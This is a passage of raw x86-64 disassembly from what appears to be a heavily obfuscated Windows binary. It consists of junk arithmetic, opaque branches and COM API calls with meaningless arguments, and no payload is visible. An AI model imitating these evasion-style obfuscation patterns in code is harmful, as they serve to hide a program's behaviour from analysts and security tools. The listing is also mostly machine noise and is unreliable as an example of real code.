mov dword [rsp + 0x4dbc], 0x39504e3e
mov byte [rsp + 0x1ec], PathMakeUniqueName
mov dword [rsp + 0x4dc0], 0xee6c3ac
mov dword [rsp + 0x4dc4], 0x3ab7b830
mov byte [rsp + 0x1ed], 0xde
mov dword [rsp + 0x4dc8], 0x1a1715f7
mov eax, 0x3faa
mov word [rsp + 0x1490], ax
mov dword [rsp + 0x4dcc], 0x78f885b8
movabs rax, 0x2a450c8924432182
mov qword [rsp + 0x8f20], rax
mov byte [rsp + 0x1ee], SHGetNewLinkInfoA
mov dword [rsp + 0x4dd0], 0x99634ac
mov byte [rsp + 0x1ef], 0x9e
movabs rax, 0xed534b0dea2aba78
mov qword [rsp + 0x8f28], rax
mov byte [rsp + 0x1f0], 0x6d
mov byte [rsp + 0x1f1], 0x46
mov eax, 0x2902
mov word [rsp + 0x1494], ax
mov byte [rsp + 0x1f2], 0x7b
mov eax, 0xb86
mov word [rsp + 0x1498], ax
movabs rax, 0xc7b2a1d074fb062
mov qword [rsp + 0x8f30], rax
movabs rax, 0xf48421c57557d1b2
mov qword [rsp + 0x8f38], rax
mov dword [rsp + 0x4dd4], 0x31ee2ebf
mov eax, 0xc19
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x4dd8], 0x920035a
mov dword [rsp + 0x4ddc], 0x2dbf0f51
mov byte [rsp + 0x1f3], 7
movabs rax, 0x93ff8c87cfb49a74
mov qword [rsp + 0x8f40], rax
mov dword [rsp + 0x4de0], 0x1c0fa48
mov byte [rsp + 0x1f4], 0x77
movabs rax, 0xb5c3179d500b978
mov qword [rsp + 0x8f48], rax
mov byte [rsp + 0x1f5], SHDoDragDrop
mov dword [rsp + 0x4de4], 0x16a49ed8
mov dword [rsp + 0x4de8], 0x134098f1
movabs rax, 0x52032e5543d2ee43
mov qword [rsp + 0x8f50], rax
movabs rax, 0x15de3f1444401f87
mov qword [rsp + 0x8f58], rax
mov eax, 0x5b9b
mov word [rsp + 0x14a0], ax
mov dword [rsp + 0x4dec], 0x4e720fe
mov dword [rsp + 0x4df0], 0x4d1b
mov dword [rsp + 0x4df4], 0x5d9
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4df8], eax
cmp dword [rsp + 0x4df8], 0xf45da013
je 0x14005764a
jmp 0x14005767f
lea rdx, [rsp + 0x27880]
lea rcx, [rsp + 0x27890]
call qword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [rsp + 0x4dfc], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0xda9ca9ad
mov dword [rsp + 0x4dec], eax
jmp 0x14020f244
movsx eax, word [rsp + 0xfbc]
and eax, 0x3924
mov word [rsp + 0xfbc], ax
movabs rax, 0xfe41ca8d0a61aea4
mov qword [rsp + 0x8f60], rax
cmp dword [rsp + 0x4df4], 0x3b58
je 0x1400579b5
movsx eax, word [rsp + 0xfbc]
xor eax, 0x7e7d
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4dec]
shl eax, 9
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
or eax, 0x1f264eb
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f60]
shr rax, 5
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
sub eax, 0xc33dbe80
mov dword [rsp + 0x4dec], eax
movsx eax, word [rsp + 0xfbc]
add eax, 0x7068
mov word [rsp + 0xfbc], ax
movabs rax, 0x678d7b1722d8f457
mov rcx, qword [rsp + 0x8f60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
movabs rax, 0x37c8370e3347d07e
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
add eax, 0x2e77d426
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x2029fae
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
add eax, 0x49a9c12b
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
shl eax, 0x10
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4df4]
add eax, 0xf9
mov dword [rsp + 0x4df4], eax
mov eax, dword [rsp + 0x4dec]
shr eax, 0x14
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
xor eax, 0x92af4c7d
mov dword [rsp + 0x4dec], eax
movabs rax, 0x153f0fac53276a3b
mov rcx, qword [rsp + 0x8f60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
and eax, 0x9c52f3da
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x784d5d43
mov dword [rsp + 0x4dec], eax
movabs rax, 0x1073110b8783511f
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
movsx eax, word [rsp + 0xfbc]
add eax, 0x189
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x2db12ec6
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
and eax, 0x862baa8e
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x8aa30523
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
add eax, 0x8632d314
mov dword [rsp + 0x4dec], eax
movsx eax, word [rsp + 0xfbc]
add eax, 0x571b
mov word [rsp + 0xfbc], ax
movsx eax, word [rsp + 0xfbc]
sub eax, 0xb79
mov word [rsp + 0xfbc], ax
movsx eax, word [rsp + 0xfbc]
xor eax, 0x1748
mov word [rsp + 0xfbc], ax
movabs rax, 0xb057f0ff89badef0
mov rcx, qword [rsp + 0x8f60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
shr eax, 0xf
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f60]
shl rax, 0x1e
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
and eax, 0x8d228cf7
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0xace06b6e
mov dword [rsp + 0x4dec], eax
mov eax, dword [rsp + 0x4dec]
add eax, 0x84d19231
mov dword [rsp + 0x4dec], eax
movsx eax, word [rsp + 0xfbc]
sub eax, 0x21bb
mov word [rsp + 0xfbc], ax
movsx eax, word [rsp + 0xfbc]
add eax, 0x3842
mov word [rsp + 0xfbc], ax
movsx eax, word [rsp + 0xfbc]
add eax, 0xdb7
mov word [rsp + 0xfbc], ax
jmp 0x1400576a6
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x8f68], rax
lea rax, [rsp + 0x4dec]
mov qword [rsp + 0x8f70], rax
mov dword [rsp + 0x4e00], 0xa92
mov dword [rsp + 0x4e04], 0xf111
mov dword [rsp + 0x4e08], 0x4560
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0x8f78], rax
mov byte [rsp + 0x1f6], 0x9e
mov eax, 0xd0d
mov word [rsp + 0x14a4], ax
mov dword [rsp + 0x4e0c], 0xe5f3
cmp dword [rsp + 0x4e08], 0x280f
jb 0x140057e9e
mov eax, dword [rsp + 0x4dec]
and eax, 0x44f264a5
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0xf8e3a7ec
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x64
mov byte [rsp + 0x1f6], al
movzx eax, word [rsp + 0x14a4]
sar eax, 0xc
mov word [rsp + 0x14a4], ax
mov eax, dword [rsp + 0x4dec]
or eax, 0x8925159c
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
xor eax, 0x29cc
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
shl eax, 0x19
mov dword [rsp + 0x4dec], eax
movzx eax, byte [rsp + 0x1f6]
and eax, 0x6a
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
sub eax, 0xb4cf505b
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
add eax, 0x4b05
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f78]
movabs rcx, 0x1116aaff48bd42c9
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
add eax, 0xc71d3400
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfbc]
add eax, 0x5a09
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
sub eax, 0x2fd2
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4dec]
and eax, 0xf52595e2
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
sub eax, 0x28d
mov word [rsp + 0x14a4], ax
mov eax, dword [rsp + 0x4dec]
shl eax, 0xf
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8f78]
mov qword [rsp + 0x8f80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f80]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4dec]
xor eax, 0x6d95f52d
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
or eax, 0x1f67
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
add eax, 0xd9e
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x1f6]
and eax, 0x46
mov byte [rsp + 0x1f6], al
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x1c
mov byte [rsp + 0x1f6], al
movzx eax, byte [rsp + 0x1f6]
add eax, 0x4c
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4dec]
add eax, 0x35864bc1
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
sub eax, 0xdd8
mov word [rsp + 0x14a4], ax
movzx eax, byte [rsp + 0x1f6]
add eax, 0xec
mov byte [rsp + 0x1f6], al
movabs rax, 0x20cc30d039dbc35d
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
and eax, 0x1f02
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4dec]
or eax, 0x2afde5bb
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
shl eax, 1
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
mov rcx, qword [rsp + 0x8f70]
mov qword [rsp + 0x8f88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f88]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
xor eax, 0x125
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
sub eax, 0x7c1cc12b
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
add eax, 0xdb2cb133
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f78]
movabs rcx, 0xefd6d88a9e65ff17
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8f60], rax
movsx eax, word [rsp + 0xfbc]
sub eax, 0x1a6f
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e08]
sub eax, 0x5f
mov dword [rsp + 0x4e08], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
add eax, 0x76dd
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
sub eax, 0x73fd
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x1c
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4dec]
add eax, 0xc26b910b
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14a4]
sub eax, 0xb60
mov word [rsp + 0x14a4], ax
movzx eax, word [rsp + 0x14a4]
add eax, 0x795
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
jmp 0x140057a26
mov rax, qword [rsp + 0x8f60]
mov qword [rsp + 0x8f90], rax
movabs rax, 0xcf12c80a86243c04
cmp qword [rsp + 0x8f90], rax
je 0x140057ed8
movabs rax, 0xf561caa48a53eb39
cmp qword [rsp + 0x8f90], rax
je 0x140057f1e
jmp 0x140057f3e
mov eax, dword [0x14025c008]
or eax, 0x2ed6e94c
mov dword [0x14025c008], eax
mov dword [rsp + 0x4e10], 0xf6d9
mov dword [rsp + 0x4e14], 0xb01c
lea rax, [rsp + 0x8f60]
mov qword [rsp + 0x8f98], rax
mov eax, dword [0x14025c008]
mov dword [rsp + 0x4e18], eax
jmp 0x140057f3e
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
shl eax, 0x95
cmp eax, dword [rsp + 0x4dec]
ja 0x14020f0e4
mov rax, qword [rsp + 0x8f60]
mov qword [rsp + 0x8fa0], rax
mov dword [rsp + 0x4e1c], 0xd14e
mov eax, dword [rsp + 0x4e18]
mov dword [rsp + 0x4e20], eax
mov dword [rsp + 0x4e24], 0x9d0a
mov dword [rsp + 0x4e28], 0x2a64
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
cmp eax, dword [0x14025c008]
je 0x14020f07f
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
shl eax, 3
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x1f6]
sar eax, 2
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e20]
xor ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
or eax, 0xa93a1c6a
mov dword [rsp + 0x4dec], eax
movzx eax, word [rsp + 0x14a4]
and eax, 0x4f1
mov word [rsp + 0x14a4], ax
mov eax, dword [0x14025c008]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4dec]
add eax, 0xb5f09c85
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x57
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
and eax, 0x23b4
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4dec]
add eax, 0x70166269
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [0x14025c008]
mov ecx, dword [rsp + 0x4e20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f6]
xor eax, 0xca
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4dec]
or eax, 0x44abe295
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f6]
sar eax, 1
mov byte [rsp + 0x1f6], al
movzx eax, word [rsp + 0x14a4]
shl eax, 9
mov word [rsp + 0x14a4], ax
mov eax, dword [rsp + 0x4df0]
sub eax, 0xda
mov dword [rsp + 0x4df0], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x32
mov byte [rsp + 0x1f6], al
cmp dword [rsp + 0x4df0], 0x3543
ja 0x140057fb5
mov eax, dword [rsp + 0x4e20]
mov dword [rsp + 0x4e2c], eax
cmp dword [rsp + 0x4e2c], 0x2de79cb4
je 0x1400581c6
jmp 0x14005820d
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fa0], rax
jmp 0x14020effb
mov eax, dword [rsp + 0x4e20]
mov dword [rsp + 0x4e30], eax
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e20]
and ecx, eax
mov eax, ecx
mov ecx, dword [0x14025c008]
mov edx, dword [rsp + 0x4e30]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140058271
lea rdx, [rsp + 0x27890]
lea rcx, [rsp + 0x278a0]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x4e34], eax
movzx eax, byte [rsp + 0x1f6]
add eax, 0x7d
mov byte [rsp + 0x1f6], al
mov byte [rsp + 0x1f7], 0x64
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f60]
mov rdx, qword [rsp + 0x8fa0]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14005839e
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x4e38], al
cmp byte [rsp + 0x4e38], 0x32
je 0x1400582cf
jmp 0x140058399
movzx eax, byte [rsp + 0x1f6]
cmp eax, 0xc4
jge 0x140058300
mov r8d, ILFindChild
mov rax, qword [rsp + 0x8f70]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
jmp 0x140058327
movzx eax, word [rsp + 0x14a4]
cmp eax, 0x427
jg 0x140058327
movsx eax, word [rsp + 0xfbc]
xor eax, 0x19b2
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xdf
lea rax, [rsp + 0xfbc]
mov qword [rsp + 0x20], rax
mov r9d, reloc.SHELL32.dll_ILIsEqual
lea r8, [rsp + 0x8f70]
lea rdx, [rsp + 0x8f68]
lea rcx, [rsp + 0xfbc]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x4e34], eax
movzx eax, byte [rsp + 0x1f6]
shl eax, 1
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4dec]
shr eax, 5
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
jmp 0x14005843e
movzx eax, word [rsp + 0x14a4]
and eax, 0xb8f
cmp eax, 0xd61
jl 0x140058422
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov edx, reloc.SHELL32.dll_ILCreateFromPathA
lea rcx, [rsp + 0x278a0]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
sub eax, 0xa70
mov word [rsp + 0xfbc], ax
movzx r8d, word [rsp + 0x14a4]
mov edx, 0xd8
movzx ecx, word [rsp + 0x14a4]
call fcn.140210960
nop
mov dword [rsp + 0x4e3c], 0x7b59
cmp dword [rsp + 0x4e0c], 0xf71d
je 0x14005872f
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
add eax, 0xb895877a
mov dword [rsp + 0x4dec], eax
movsx eax, byte [rsp + 0x1f7]
sub eax, 0x1b
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x4e0c]
add eax, 0xa9
mov dword [rsp + 0x4e0c], eax
movsx eax, word [rsp + 0xfbc]
add eax, 0x404a
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f6]
and eax, 0xb9
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f98]
mov qword [rsp + 0x8fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fa8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8fa0], rax
mov eax, dword [rsp + 0x4dec]
shl eax, 3
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
sub eax, 0xa015e359
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx eax, word [rsp + 0x14a4]
add eax, 0x68a
mov word [rsp + 0x14a4], ax
movzx eax, word [rsp + 0x14a4]
sub eax, 0x9f8
mov word [rsp + 0x14a4], ax
movsx eax, byte [rsp + 0x1f7]
add eax, 0x2c
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e18]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
and eax, 0x180ad767
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movsx eax, word [rsp + 0xfbc]
shl eax, 6
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f7]
sar eax, 5
mov byte [rsp + 0x1f7], al
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8f60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1f6]
sub eax, 0xdb
mov byte [rsp + 0x1f6], al
jmp 0x140058449
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4e40], eax
cmp dword [rsp + 0x4e40], 0
je 0x140058780
cmp dword [rsp + 0x4e40], 0x79e0ee98
je 0x140058756
jmp 0x1400587c7
mov eax, dword [rsp + 0x4dec]
add eax, 0x4ac7de3b
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1f7]
add eax, 0x5f
mov byte [rsp + 0x1f7], al
jmp 0x1400587c7
movzx eax, byte [rsp + 0x1f6]
sub eax, 0x98
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x8f68]
movzx eax, word [rax]
mov word [rsp + 0x14a8], ax
lea rax, [rsp + 0x14a4]
mov qword [rsp + 0x8fb0], rax
lea rax, [rsp + 0x14a4]
mov qword [rsp + 0x8fb8], rax
movzx eax, byte [rsp + 0x1ac]
sub eax, 2
movzx ecx, byte [rsp + 0x1f6]
cmp eax, ecx
jl 0x1400587fa
movzx r8d, word [rsp + 0x14a8]
mov rdx, qword [rsp + 0x8f60]
mov ecx, SHDoDragDrop
call fcn.14020f290
nop
mov rax, qword [rsp + 0x8fa0]
mov qword [rsp + 0x8fc0], rax
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [0x14025c008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
sub eax, 0x698ae36f
mov dword [rsp + 0x4dec], eax
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
shl eax, cl
mov word [rsp + 0xfbc], ax
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e18]
or ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e30], eax
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4dec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e14]
add eax, 0xb2
mov dword [rsp + 0x4e14], eax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
